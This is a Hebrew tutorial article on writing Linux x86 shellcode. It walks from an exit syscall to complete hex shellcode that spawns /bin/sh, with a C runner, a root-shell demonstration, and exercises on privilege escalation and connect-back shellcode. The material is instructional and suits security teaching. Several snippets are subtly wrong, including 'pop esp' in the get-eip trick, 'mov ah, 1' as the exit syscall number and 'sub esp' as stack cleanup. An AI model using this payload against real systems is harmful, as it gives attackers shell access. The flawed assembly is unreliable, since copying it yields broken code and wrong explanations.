Technologic Papers

Shellcoding 101

מאת דביר אטיאס (Syst3m ShuTd0wn)

הקדמה

המושג Shellcode הינו הלחם המורכב משתי מילים: Shell ו-Code. למילה "shell" מספר פירושים, Shell יכול להוות קובץ וובי המכיל אפשרויות כמו הרצת פקודות, גישוש בין תקיות וקבצים במערכת ההפעלה, אודות מערכת ההפעלה וכו', shell מסוג זה נקרא Web-shell. פירוש נוסף הינו תוכנה אשר מגשרת בין המשתמש למערכת ההפעלה ונותנת למשתמש שליטה יותר נוחה על מערכת ההפעלה. לדוגמא בלינוקס יש לנו את ה-bash שהוא shell מאוד נפוץ.

Shellcode הינו קטע קוד מתומצת המיוצג באמצעות סט פקודות ספציפיות בו אנו מעוניינים להריץ הנקרא opcodes (קטע קוד זה מיוצג בhex) מטרת ה-shellcode הינו לשמש לנו כ-payload בניצול חולשות מבוססות זיכרון (כמו לדוגמא buffer overflow). במאמר זה אתאר איך לכתוב shellcode תחת פלטפורמת לינוקס. בנוסף, נלמד את השלבים לכתיבת shellcode, מה טוב עבורנו ומה לא, כיווץ ה-shellcode, הפיכתו ליעיל יותר ועוד.

השלבים לכתיבת shellcode - כלים שחשוב להכיר:

nasm - netwide assembler:

nasm הינו אסמבלר cross-platform שמיועד למודולריות ולניידות בעל תחביר שהוא מאוד נוח. אנחנו נשתמש בו על מנת לקמפל את ה-shellcode שלנו. ניתן להוריד nasm עם apt ע"י הפקודה:

```
sudo apt-get install nasm
```

objdump:

objdump הינו דיסאסמבלר שמצוי ברוב מערכות ה-*nix, אנו נשתמש בו על מנת לחקור את ה-shellcode שלנו ונמצא עד כמה הוא יעיל.

strace:

strace הינו כלי אשר מאפשר לעקוב אחר system calls ו-signals בתוכנה ספיציפית. כלי זה יעזור לנו באימות מטרתו של הshellcode שלנו.

כתיבת ה-shellcode

כתיבתו של ה-shellcode תהיה באסמבלי ברוב המקרים, מכיוון שאם נשתמש בשפות שהן יותר עיליות (ביחס לאסמבלי) כמו לדוגמא C, אנו נקבל קטע קוד מורחב יותר בו אנו לא מעוניינים, מכיוון שה-shellcode שלנו צריך להיות מצומצם עד כמה שאפשר, מכיוון שבמקרה ואתה מנסה לנצל חולשה מסוימת יכול להווצר מצב בו אין לך מקום ל-shellcode שלך ב-buffer.

הסתכלות על ה-opcodes של ה-shellcode ע"י objdump

לאחר כתיבתו של ה-shellcode אנו ננתח אותו בעזרת דיסאסמבלר אשר בודק עד כמה הוא יעיל.

חיפוש אחר תווים אסורים

ישנם תווים אשר יפריעו ויפגעו בתהליך הרצת ה-shellcode שלנו כדוגמת תו ה-null אשר יהווה בעיה במידה והוא נוכח ב-shellcode מכיוון שמדובר בערך מסוג char אשר מסמל סוף מחרוזת ע"י תו ה-null terminator ולכן כאשר ימצא תו מסוג null ב-shellcode, למעשה את הריצה תפסיק בתו ה-null.

נסיון לקצר את ה- hellcode עד כמה שאפשר

עקב מגבלת המקום ולפעמים אין מקום ל-shellcode שלך, יש צורך לקצר אותו עד כמה שאפשר בשביל שיוכל לרוץ כמו שצריך (למרות שישנן טכניקות אשר מחפשות אחר מקומות שכן ניתן להזריק את ה-shellcode שלנו ולשנות את ה-execution flow אל אזור זה).

בדיקת התוצר הסופי

לאחר שיצרנו את ה-shellcode המיוחל שלנו אנו נחקור אותו תחילה ע"י strace, כדי לראות שפנינו ל-system call המתאים ונכתוב קוד שיריץ אותו.

Calling conventions

Calling conventions מתארים את צורת הקריאה והיציאה מפונקציה, ישנן כמה וכמה קונבנציות קריאה, אני אציג את הפופולאריות בלינוקס:

cdecl - cdecl הינו קונבנצית הקריאה הדיפולטיבית בלינוקס.

קונבנצית קריאה זו מיחדת אותה בכך:

- הפרמטרים של הפונקציה מועברים מימין לשמאל.
- ה-caller אחראי לנקות את המחסנית.
- הפרמטרים מועברים ע"י המחסנית.

לדוגמא, אם יש לנו פונקציה בשם foo המקבלת שתי פרמטרים מסוג int:

```
void foo(int a, int b);
```

מתחת לפני השטח, הקריאה לפונקציה נראית בצורה הבאה:

```
push b
push a
call foo
sub esp, 12
```

ניתן לראות שהפרמטרים מועברים מימין לשמאל (קודם כל b ואחר-כך a) ובכך ניתן לראות שמי שקרא לפונקציה אחראי לניקוי המחסנית. הפונקציה הזו נותנת לנו גמישות (לדוגמא, נותנת לנו את האפשרות להעביר כמה פרמטרים שרוצים כדוגמת ממומש אופרטור ellipsis - ... ,scanf ,printf ;)

Fastcall - Fastcall הינו קונבנצית הקריאה בו משתמשים בפסיקות (interrupts).

קונבנציית קריאה זו מייחדת אותה בכך:

- הפרמטרים מועברים ע"י האוגרים.

כאשר אנו משתמשים בפסיקות אנו מעבירים את מספר הפסיקה לאוגר eax ואת הפרמטרים לפסיקה ע"י האוגרים ebx, ecx, edx, esi, edi, ebp. כאשר אנו מעוניינים להעביר יותר מ-6 פרמטרים לפסיקה אנו יכולים להעביר מצביע למבנה המכיל את רשימת הערכים הרצויה באוגר ebx.

System calls

System call הינן פונקציות מערכת הפעלה אשר דרכן המשתמש עובר מ-user mode ל-kernel mode. קריאה ל-system calls מתבצעות ב- 2 דרכים שלא שונות במיוחד, אך שינויים מינוריים יכולים להיות גורם קריטי בגודל ה-shellcode .

דרך ראשונה, ניתן לקרוא ל-system calls בצורה עקיפה ע"י libc - wrapper (מספקת דרך יותר נוחה לקרוא ל-system call, לא שונה במיוחד מהגישה הישירה). דרך שנייה, זוהי הדרך היותר ישירה בו אנו קוראים ל-system call ע"י פסיקה (משמע, קונבנציית קריאה מסוג fastcall) מספר 80h.

כתיבת ה-shellcode הראשון שלנו

exit הינו system call אשר מאפשר לך לסיים את התוכנית. ה-prototype של exit הוא:

```
void exit(int status);
```

הפונקציה מקבלת כפרמטר משתנה מסוג int (אשר מסמל את סיבת היציאה) ומחזירה void. נכתוב תוכנית באסמבלי שמשתמשת ב-system call הזה באופן ישיר:

```
section .text
      global _start

_start:
      mov ebx, 0
      mov eax, 1
      int 0x80
```

אפשר לראות שב-ebx מועבר הפרמטר status שהוא 0 אשר מסמל שהתוכנית יוצאת ללא בעיות, ב-eax מועבר מספר הפסיקה שהיא 1.

ניתן לראות את שם ה-system call שאנו משתמשים בהתאם למספר הפסיקה שאנו מעבירים ל-eax בהאדר:

```
/usr/include/asm/unistd_32.h
```

נשתמש ב-nasm כדי לקמפל תוכנית זו:

```
nasm -f elf exit.asm
ld -o exit exit.o
```

כדי לעקוב אחר מה שכתבנו ולראות שכתבנו את זה כנדרש נשתמש ב-strace:

```
execve("./exit", ["./exit"], [/* 32 vars */]) = 0
_exit(0)                                = ?
```

אנו יכולים לראות ש-strace הציג לנו את השם של ה-system call שהשתמשנו בו. הכל נראה בסדר, אבל לא זה המקרה.

נשתמש ב-objdump כדי לעשות דיסאסמבלי לתוכנית שלנו:

```
08048060 <_start>:
 8048060:   bb 00 00 00 00          mov    $0x0,%ebx
 8048065:   b8 01 00 00 00          mov    $0x1,%eax
 804806a:   cd 80                   int    $0x80
```

בצד שמאל אנו רואים את האופקודים שמיוצגים ב-hex המייצגים את ה-instructions שהשתמשנו בהם.

אנו נאסוף את האופקודים ונריץ אותם. ה-shellcode שלנו הוא (ע"פ האופקודים שהוצאנו עם objdump):

```
\xbb\x00\x00\x00\x00
\xb8\x01\x00\x00\x00
\xcd\x80
```

נכתוב קוד קטן שיריץ לנו את אותו הקוד:

```
char shellcode[] = "\xbb\x00\x00\x00\x00"
                   "\xb8\x01\x00\x00\x00"
                   "\xcd\x80";

int main(int argc, int **argv)      {
      void (*ptr)();
      ptr = (void (*)()) shellcode;
      (*ptr)();
      return 0;
}
```

בקוד הנ"ל הגדרנו מצביע לפונקציה בשם ptr, ובו הצבענו אל ה-shellcode שלנו בשביל שנוכל להריץ את מה שכתבנו.

כאשר אנו מנצלים פירצת אבטחה מבוססת זיכרון לדוגמא, buffer overflow, אנו חורגים מה-buffer כדי להצליח לשלוט על התוכן של אוגר ה-instruction pointer.

ה-buffer שלנו מסתיים בתו מיוחד בשם null terminator (היצוג ה-hex שלו הוא 0). תו זה בעצם אומר איפה המחרוזת מסתיימת ולכן, כאשר נשתמש ב-shellcode הנ"ל שכתבנו, הוא לא יעבוד מכיוון שניתן לראות תווי null terminator:

```
\xbb\x00\x00\x00\x00
\xb8\x01\x00\x00\x00
\xcd\x80
```

לכן, בשביל לגרום ל-shellcode שלנו לעבוד כמו שצריך אנו צריכים להפטר מתווי ה-null. נזכר בדיסאסמבלי של הקוד שכתבנו:

```
08048060 <_start>:
 8048060:   bb 00 00 00 00          mov    $0x0,%ebx
 8048065:   b8 01 00 00 00          mov    $0x1,%eax
 804806a:   cd 80                   int    $0x80
```

כפי שאנו רואים ה-null terminator נמצא בשתי ה-mov שהראשון אחראי על העברת 0 כפרמטר לפסיקה וה-mov השני האחראי להעביר את מספר הפסיקה.

בשביל לאפס את ebx אנו יכולים לעשות זאת על ידי exclusive or או על ידי xor אשר יעזור לנו במניעת תווי ה-null. מה עם ה-mov השני? איך נוכל להתגבר על ה-null terminator ואיך למעשה יש לנו שם null אם לא הצבנו שם 0x0?

ה-null terminator ב-mov השני נוצר בגלל שאנו מתעסקים עם אוגר שהוא 32 ביט ואנו מנצלים רק בית אחד ולכן הבתים הנותרים מתמלאים ב-nulls. ולכן בשביל לפתור זאת אנו נשתמש באוגר יותר קטן ah.

הקוד החדש שלנו נראה ככה:

```
section .text
      global _start

_start:
      xor ebx, ebx
      mov ah, 1
      int 0x80
```

והדיסאסמבלי שלו הוא:

```
08048060 <_start>:
 8048060:   31 db                   xor    %ebx,%ebx
 8048062:   b4 01                   mov    $0x1,%ah
 8048064:   cd 80                   int    $0x80
```

עכשיו ניתן לראות שאין לנו תווים בעייתים ב-shellcode ולכן הוא ירוץ כמו שצריך.

Dynamic Shellcode

לאחר שהבנו איך עובד shellcode, בקטע זה אסביר איך נכתוב shellcode שמתקדם יותר והוא יבצע ויפתח shell חדש (spawning a shell).

אנו לא רוצים להשתמש בכתובות שהם hard-coded מכיוון שזה יגרום ל-shellcode שלנו להיות מאוד סטטי ויכול להיות שהוא לא יעבוד בגרסאות אחרות ולכן אנחנו צריכים לגרום ל-shellcode שלנו להיות כמה שיותר דינאמי.

Position Independed Code

קוד אשר כתוב בצורה שאם מעתיקים את הבינארי שלו לתוכנה אחרת הוא ירוץ ויעשה את מה שהיה צריך לבצע - תהליך זה קורה בד"כ בתהליך ה-linking. לדוגמא יש לנו קטע קוד פשוט אשר קופץ לכתובת 500h:

```
jmp 500h
```

בשביל שהקפיצה תמיד תגיע למקום שרצינו, חייב להיות ב-500h תמיד את מבוקשנו. אך, ערך הכתובת ב-500h יכול להתמפות למקום אחר בזיכרון ולכן התוכנית שלנו יכולה לקרוס. בשביל לפתור בעיה זו, אחת מהדרכים היא להשתמש ב-relative addressing.

שיטה זו פותרת לנו את הבעיה בכך שהיא שומרת לנו את הכתובת של הפקודה הבאה לביצוע (אוגר eip) ועם מידע זה היא "משחקת" כדי להגיע לדבר המבוקש. בשביל להשתמש בטכניקה זו, אנו למעשה משתמשים בטריק קטן, מכיוון שאין opcode אשר נותן לנו את הכתובת של eip אז נעשה דבר כזה:

```
call label
func:
      pop esp
```

אנו רואים קריאה ל-func, בגלל שאנו קוראים לפונקציה, הכתובת של הפקודה הבאה לביצוע נדחפת למחסנית (שהיא pop esp) ולכן כאשר אנו עושים pop אנו למעשה שומרים ב-eax את הכתובת של הפקודה הבאה לביצוע - eip .

יצירת ה-shellcode

אז בשביל ליצור shellcode שמריץ shell חדש, אנו נשתמש ב-system call בשם execve. execve הינו system call אשר מחליף את ה-process image ב-process image של תהליך אחר. ה-prototype של execve הוא:

```
int execve(const char *filename, char *const argv[],
char *const envp[]);
```

הפונקציה מקבלת שלושה פרמטרים.

- פרמטר ראשון מצביע לקובץ שבו אנו מעוניינים להחליף את ה-process image.
- פרמטר שני מצביע למערך של תווים (מצביע למצביע) והוא בעצם מתאר את הפרמטרים שיכולים לעבור אל הפונקציה שאנו מעוניינים לבצע.
- פרמטר שלישי שוב מצביע אל מערך של תווים אשר מכיל את משתנים הסביבתיים (environment variables) אשר יכולים לעבור לקובץ שברצוננו להריץ.

ספריית ה-bin בלינוקס מכילה את הקבצים הבינארים שאנו משתמשים בהם בד"כ ב-shell כמו למשל: cat, ls, rm ועוד. ה-shell גם כן שמור בספרייה זו ולכן בעזרת execve נריץ את ה-shell בשביל שנוכל לקבל שליטה על המערכת.

התוכנית שלנו צריכה להיות בצורה הבאה:

```
#include <unistd.h>

int main(int argc, char **argv)     {
      char *parm[2];
      parm[0] = "/bin/sh";
      parm[1] = NULL;

      execve("/bin/sh", parm, NULL);
      return 0;
}
```

בשביל שה-shellcode שלנו יהיה code independed אנו נשיג את ה-shell בצורה יחסית ע"י הטריק שהצגנו למעלה.

אז בשביל שנשיג את הפרמטרים בו אנו מעבירים ל-execve, אנו נאחסן אותם ואז נשתמש בהם בצורה יחסית. אנו למעשה נכריז על מחרוזת ש-7 הבתים הראשונים הם הפרמטר הראשון שאנו מעבירים ל-execve +9 בתים שישמשו כ-place holders לשאר הפרמטרים ל-execve. לאחר מכן נקפוץ ל-shellcode meat שלנו בו נחליף את ה-placeholders שלנו בפרמטרים המתאימים.

בשביל להריץ את /bin/sh אנו נצטרך להעביר כמו בתוכנית C שכתבנו בתחילה כמה דברים:

- מחרוזת לקובץ שנרצה להריצו - /bin/sh
- פוינטר ל-/bin/sh
- NULL

ה-shellcode שלנו נראה ככה:

```
1. SECTION .text
      a. global _start

2. _start:
      a. jmp short get_shellcode

3. work:
      a. pop esi ;getting the shellcode's address
      b. xor eax, eax
      c. mov byte [esi+7], al ;replacing N with null byte in order to
end up /bin/sh
      d. lea ebx, [esi] ;shellcode's address
      e. mov dword [esi+8], ebx ;replacing XXXX with the address of the
shellcode's address
      f. mov dword [esi+12], eax ;replacing YYYY with null byte

      g. ;calling execve
      h. mov al, 0xb
      i. mov ebx, esi
      j. lea ecx, [esi+8]
      k. lea edx, [esi+12]
      l. int 0x80

4. get_shellcode:
      a. call work
      b. db '/bin/shNXXXXYYYY'
```

ניתוח ה-shellcode

1 - התחלה של תוכנית רגילה.

4 - קופצים אל get_shellcode שבעצם ייתן לנו את היכולת לפנות אל המחרוזת שלנו בצורה יחסית.

4a - אנו מבצעים call ל ה-shellcode meat (הקטע בו מתחיל ה-shellcode) בו נדחף הכתובת של המחרוזת ב-4b.

3a - אנו מבצעים pop לכתובת שנדחפה ב-call ב-4a ששמורה ב-esp.

3b - מאפסים את eax.

3c - אנו מחליפים את ה-placeholder הראשון שהוא N ב-null byte בשביל לסיים את המחרוזת.

3d - אנו מכניסים ב-ebx את הכתובת למחרוזת.

3e - מחליפים את ה-4 בתים (XXXX) בכתובת של המחרוזת.

3f - דוחפים NULL (אנו מעבירים בפרמטר האחרון NULL).

3g - 3l - הינו הקריאה ל-system call.

נשתמש ב-nasm (וב-ld) כדי לקמפל תוכנית זו:

```
nasm -f elf shell.asm
ld -o shell shell.o
```

נשתמש ב-objdump כדי להוציא את ה-opcodes של ה-shellcode:

```
08048060 <_start>:
 8048060:   eb 1a                    jmp    804807c <get_shellcode>

08048062 <work>:
 8048062:   5e                       pop    %esi
 8048063:   31 c0                    xor    %eax,%eax
 8048065:   88 46 07                 mov    %al,0x7(%esi)
 8048068:   8d 1e                    lea    (%esi),%ebx
 804806a:   89 5e 08                 mov    %ebx,0x8(%esi)
 804806d:   89 46 0c                 mov    %eax,0xc(%esi)
 8048070:   b0 0b                    mov    $0xb,%al
 8048072:   89 f3                    mov    %esi,%ebx
 8048074:   8d 4e 08                 lea    0x8(%esi),%ecx
 8048077:   8d 56 0c                 lea    0xc(%esi),%edx
 804807a:   cd 80                    int    $0x80

0804807c <get_shellcode>:
 804807c:   e8 e1 ff ff ff           call   8048062 <work>
 8048081:   2f                       das
 8048082:   62 69 6e                 bound  %ebp,0x6e(%ecx)
 8048085:   2f                       das
 8048086:   73 68                    jae    80480f0 <get_shellcode+0x74>
 8048088:   4e                       dec    %esi
 8048089:   58                       pop    %eax
 804808a:   58                       pop    %eax
 804808b:   58                       pop    %eax
 804808c:   58                       pop    %eax
 804808d:   59                       pop    %ecx
 804808e:   59                       pop    %ecx
 804808f:   59                       pop    %ecx
 8048090:   59                       pop    %ecx
```

נחפש אחר תווים אסורים.

ובכן אנו לא רואים אותם, אך יש פה כמה אופקודים שהם "מיותרים" ב-shellcode שלנו.

ניתן לראות שב-get_shellcode+0x74 יש לנו רצף opcodes שהם לגמרי לא נחוצים ולכן נמחק אותם.

נאסוף את ה-opcodes, ולבסוף ה-shellcode שלנו נראה ככה:

```
#include <stdio.h>

char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
                   "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
                   "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
                   "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
                   "\x4e";

int main(int argc, int **argv)      {
      void (*ptr)();
      ptr = (void (*)()) shellcode;
      (*ptr)();
      return 0;
}
```

נקמפל את ה-shellcode עם gcc ונריץ אותו.

```
root@bt:~/Desktop/Shellcoding 101# ./shell
sh-4.1# uname
Linux
sh-4.1#
```

כפי שניתן לראות ה-shellcode רץ בהצלחה.

סיכום

במאמר זה הצגתי מהו shellcode ואת השלבים לבנייתו. הראתי איך ניתן לבנות shellcode בסיסי שלא עושה כלום חוץ מלצאת מתהליך ובנוסף הצגתי טכניקה שהיא יותר מתקדמת המאפשרת לנו לבנות shellcode יותר אמין. התעסקנו עם כלים כמו objdump ומעט עם strace. הבנו אילו תווים ה-shellcode שלנו יכול להכיל ואיזה תווים לא, ובנוסף ראינו איך ניתן לקצר את ה-shellcode שלנו במקרים מסוימים.

בקרוב אפרסם חלק ב' למאמר אשר יפרט טכניקות יותר מורכבות שקשורים ל-shellcoding, עד אז - בהצלחה!

תרגול

1. כתובו shellcode המבצע הדפסה למסך את המחרוזת "Digital whisper is awesome".
   בונוס: עשו אותו code independed.
2. הוסיפו ל-dynamic shellcode שיצרנו אפשרות לרוץ בהרשאות גבוהות יותר אם אפשר.
   רמז: קראו על איך passwd עובד.
3. כתוב shellcode אשר מתחבר אל שרת מרוחק שניתן לו.
   רמז: איך תכתבו זאת ב-C?

לכל שאלה / הערה / הארה / פתרונות לתרגול ניתן לפנות אליי בכתובת: dvur12@gmail.com

קישורים לקריאה נוספת

Shellcoding:

The shellcoder handbook - http://www.vividmachines.com/shellcode/shellcode.html

Position independed code:

http://en.wikipedia.org/wiki/Position-independent_code

http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/#id10

The netwide assembler:

http://www.nasm.us

http://www.drpaulcarter.com/pcasm/index.php